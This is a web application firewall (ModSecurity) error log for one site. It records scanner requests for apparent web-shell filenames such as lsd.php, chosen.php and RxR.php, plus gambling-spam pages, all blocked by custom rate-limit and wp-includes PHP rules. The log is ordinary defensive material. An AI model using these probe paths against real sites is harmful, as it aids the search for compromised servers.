[Wed Mar 04 09:39:53.021727 2026] [:error] [pid 18554:tid 18598] [client 51.75.116.205:44424] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aaeNaZ0fKmKeTIK7QS0yFwAAAEY"]
[Wed Mar 04 09:39:54.196999 2026] [:error] [pid 18553:tid 18584] [client 52.252.56.196:49496] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaeNambax1neh8d0AHaxhwAAABQ"]
[Wed Mar 04 09:39:54.868158 2026] [:error] [pid 54487:tid 54502] [client 52.252.56.196:52667] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaeNavN8030QMpFXddvFGwAAAQ0"]
[Wed Mar 04 09:39:54.921518 2026] [:error] [pid 54487:tid 54504] [client 51.75.116.205:44440] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaeNavN8030QMpFXddvFHAAAAQ8"]
[Wed Mar 04 09:39:55.704079 2026] [:error] [pid 18681:tid 18697] [client 52.252.56.196:61843] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaeNa6E_TuZYUBveWkXl-wAAAM4"]
[Wed Mar 04 09:40:17.917085 2026] [:error] [pid 18554:tid 18606] [client 52.252.56.196:12937] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaeNgZ0fKmKeTIK7QS0ycQAAAE4"]
[Wed Mar 04 09:40:18.496084 2026] [:error] [pid 18555:tid 18633] [client 52.252.56.196:12483] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaeNgjQeUDANiOsQ3GemsAAAAI4"]
[Wed Mar 04 09:40:18.961759 2026] [:error] [pid 18681:tid 18700] [client 52.252.56.196:43721] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaeNgqE_TuZYUBveWkXmJQAAANE"]
[Wed Mar 04 09:40:19.688569 2026] [:error] [pid 54487:tid 54489] [client 52.252.56.196:12494] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaeNg_N8030QMpFXddvFswAAAQA"]
[Wed Mar 04 09:40:20.348652 2026] [:error] [pid 18681:tid 18699] [client 52.252.56.196:12980] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaeNhKE_TuZYUBveWkXmKQAAANA"]
[Wed Mar 04 09:40:20.902465 2026] [:error] [pid 18555:tid 18642] [client 52.252.56.196:12515] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaeNhDQeUDANiOsQ3GemswAAAJc"]
[Wed Mar 04 09:40:21.539291 2026] [:error] [pid 54487:tid 54503] [client 52.252.56.196:49490] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaeNhfN8030QMpFXddvFwwAAAQ4"]
[Wed Mar 04 09:40:21.990936 2026] [:error] [pid 54487:tid 54507] [client 52.252.56.196:61875] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaeNhfN8030QMpFXddvFyAAAARI"]
[Wed Mar 04 09:40:22.694439 2026] [:error] [pid 18681:tid 18704] [client 52.252.56.196:12920] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaeNhqE_TuZYUBveWkXmLgAAANU"]
[Wed Mar 04 09:40:23.226032 2026] [:error] [pid 54487:tid 54510] [client 52.252.56.196:12895] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/admin.php"] [unique_id "aaeNh_N8030QMpFXddvF1wAAARU"]
[Wed Mar 04 09:40:24.065231 2026] [:error] [pid 54487:tid 54503] [client 52.252.56.196:12878] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/admin.php"] [unique_id "aaeNiPN8030QMpFXddvF2wAAAQ4"]
[Wed Mar 04 09:40:25.412051 2026] [:error] [pid 18681:tid 18685] [client 52.252.56.196:48160] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/admin.php"] [unique_id "aaeNiaE_TuZYUBveWkXmQQAAAMI"]
[Wed Mar 04 09:40:27.180468 2026] [:error] [pid 18555:tid 18628] [client 52.252.56.196:51980] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/admin.php"] [unique_id "aaeNizQeUDANiOsQ3GemuAAAAIk"]
[Wed Mar 04 09:40:28.405795 2026] [:error] [pid 18554:tid 18604] [client 52.252.56.196:51362] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core3.php"] [unique_id "aaeNjJ0fKmKeTIK7QS0yfAAAAEw"]
[Wed Mar 04 09:40:29.715503 2026] [:error] [pid 18681:tid 18691] [client 52.252.56.196:61862] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core3.php"] [unique_id "aaeNjaE_TuZYUBveWkXmSQAAAMg"]
[Wed Mar 04 09:40:31.254726 2026] [:error] [pid 54487:tid 54496] [client 52.252.56.196:12543] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core3.php"] [unique_id "aaeNj_N8030QMpFXddvGCgAAAQc"]
[Wed Mar 04 09:40:31.815609 2026] [:error] [pid 54487:tid 54500] [client 51.75.116.205:44452] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aaeNj_N8030QMpFXddvGDwAAAQs"]
[Wed Mar 04 09:40:32.395563 2026] [:error] [pid 54487:tid 54495] [client 52.252.56.196:61887] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core3.php"] [unique_id "aaeNkPN8030QMpFXddvGFAAAAQY"]
[Wed Mar 04 09:40:33.668102 2026] [:error] [pid 18554:tid 18616] [client 51.75.116.205:58434] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aaeNkZ0fKmKeTIK7QS0ygwAAAFg"]
[Wed Mar 04 09:40:34.472090 2026] [:error] [pid 18554:tid 18606] [client 52.252.56.196:60354] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RxR.php"] [unique_id "aaeNkp0fKmKeTIK7QS0yiAAAAE4"]
[Wed Mar 04 09:40:35.700812 2026] [:error] [pid 54487:tid 54495] [client 51.75.116.205:58448] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaeNk_N8030QMpFXddvGHgAAAQY"]
[Wed Mar 04 09:40:36.235890 2026] [:error] [pid 18555:tid 18624] [client 52.252.56.196:52001] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RxR.php"] [unique_id "aaeNlDQeUDANiOsQ3GemxAAAAIU"]
[Wed Mar 04 09:40:37.571681 2026] [:error] [pid 18681:tid 18695] [client 51.75.116.205:58458] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aaeNlaE_TuZYUBveWkXmUgAAAMw"]
[Wed Mar 04 09:40:39.473383 2026] [:error] [pid 54487:tid 54498] [client 51.75.116.205:44888] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaeNl_N8030QMpFXddvGOgAAAQk"]
[Wed Mar 04 09:40:41.506599 2026] [:error] [pid 54487:tid 54506] [client 51.75.116.205:44902] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aaeNmfN8030QMpFXddvGSQAAARE"]
[Wed Mar 04 09:40:41.648367 2026] [:error] [pid 18554:tid 18592] [client 52.252.56.196:61828] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RxR.php"] [unique_id "aaeNmZ0fKmKeTIK7QS0ymQAAAEA"]
[Wed Mar 04 09:40:43.384172 2026] [:error] [pid 54487:tid 54491] [client 51.75.116.205:44916] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaeNm_N8030QMpFXddvGVgAAAQI"]
[Wed Mar 04 09:40:45.406856 2026] [:error] [pid 54487:tid 54495] [client 51.75.116.205:44932] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aaeNnfN8030QMpFXddvGZQAAAQY"]
[Wed Mar 04 09:40:45.795236 2026] [:error] [pid 54487:tid 54507] [client 52.252.56.196:12901] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RxR.php"] [unique_id "aaeNnfN8030QMpFXddvGaQAAARI"]
[Wed Mar 04 09:40:47.276146 2026] [:error] [pid 54487:tid 54506] [client 51.75.116.205:44944] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaeNn_N8030QMpFXddvGdwAAARE"]
[Wed Mar 04 09:40:49.302437 2026] [:error] [pid 18553:tid 18586] [client 51.75.116.205:43286] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaeNoWbax1neh8d0AHaxrwAAABY"]
[Wed Mar 04 09:40:51.310231 2026] [:error] [pid 54487:tid 54490] [client 51.75.116.205:43300] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaeNo_N8030QMpFXddvGjAAAAQE"]
[Wed Mar 04 09:40:53.338852 2026] [:error] [pid 18555:tid 18622] [client 51.75.116.205:43314] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaeNpTQeUDANiOsQ3Gem3QAAAIM"]
[Wed Mar 04 09:40:55.219344 2026] [:error] [pid 18681:tid 18699] [client 51.75.116.205:43326] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaeNp6E_TuZYUBveWkXmaQAAANA"]
[Wed Mar 04 09:40:57.238195 2026] [:error] [pid 18681:tid 18695] [client 51.75.116.205:43330] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaeNqaE_TuZYUBveWkXmawAAAMw"]
[Wed Mar 04 09:40:59.128587 2026] [:error] [pid 54487:tid 54501] [client 51.75.116.205:56882] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaeNq_N8030QMpFXddvGuAAAAQw"]
[Wed Mar 04 09:41:00.997926 2026] [:error] [pid 54487:tid 54494] [client 51.75.116.205:56898] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaeNrPN8030QMpFXddvGxAAAAQU"]
[Wed Mar 04 09:41:03.048116 2026] [:error] [pid 54487:tid 54492] [client 51.75.116.205:56906] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaeNr_N8030QMpFXddvG0gAAAQM"]
[Wed Mar 04 09:41:04.904792 2026] [:error] [pid 18555:tid 18622] [client 51.75.116.205:56912] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaeNsDQeUDANiOsQ3Gem5gAAAIM"]
[Wed Mar 04 09:41:06.953034 2026] [:error] [pid 54487:tid 54502] [client 51.75.116.205:56926] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aaeNsvN8030QMpFXddvG6AAAAQ0"]
[Wed Mar 04 09:41:08.817565 2026] [:error] [pid 18554:tid 18594] [client 51.75.116.205:42322] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aaeNtJ0fKmKeTIK7QS0y1gAAAEI"]
[Wed Mar 04 09:41:10.837828 2026] [:error] [pid 54487:tid 54496] [client 51.75.116.205:42330] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaeNtvN8030QMpFXddvG9wAAAQc"]
[Wed Mar 04 09:41:12.859224 2026] [:error] [pid 54487:tid 54495] [client 51.75.116.205:42338] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaeNuPN8030QMpFXddvG_AAAAQY"]
[Wed Mar 04 09:41:14.867040 2026] [:error] [pid 18554:tid 18614] [client 51.75.116.205:42344] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aaeNup0fKmKeTIK7QS0y7QAAAFY"]
[Wed Mar 04 09:41:15.105891 2026] [:error] [pid 54487:tid 54504] [client 52.252.56.196:49478] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/logs/skin.php"] [unique_id "aaeNu_N8030QMpFXddvHAQAAAQ8"]
[Wed Mar 04 09:41:16.720882 2026] [:error] [pid 54487:tid 54506] [client 51.75.116.205:42350] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aaeNvPN8030QMpFXddvHDwAAARE"]
[Wed Mar 04 09:41:18.449318 2026] [:error] [pid 18553:tid 18564] [client 51.75.116.205:49134] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aaeNvmbax1neh8d0AHaxwgAAAAA"]
[Wed Mar 04 09:41:20.481685 2026] [:error] [pid 54487:tid 54496] [client 51.75.116.205:49142] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaeNwPN8030QMpFXddvHMAAAAQc"]
[Wed Mar 04 09:41:22.497251 2026] [:error] [pid 54487:tid 54496] [client 51.75.116.205:49158] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aaeNwvN8030QMpFXddvHOQAAAQc"]
[Wed Mar 04 09:41:24.360789 2026] [:error] [pid 18681:tid 18690] [client 51.75.116.205:49172] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aaeNxKE_TuZYUBveWkXmqAAAAMc"]
[Wed Mar 04 09:41:30.664887 2026] [:error] [pid 18554:tid 18595] [client 52.252.56.196:12922] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/chosen.php"] [unique_id "aaeNyp0fKmKeTIK7QS0zKAAAAEM"]
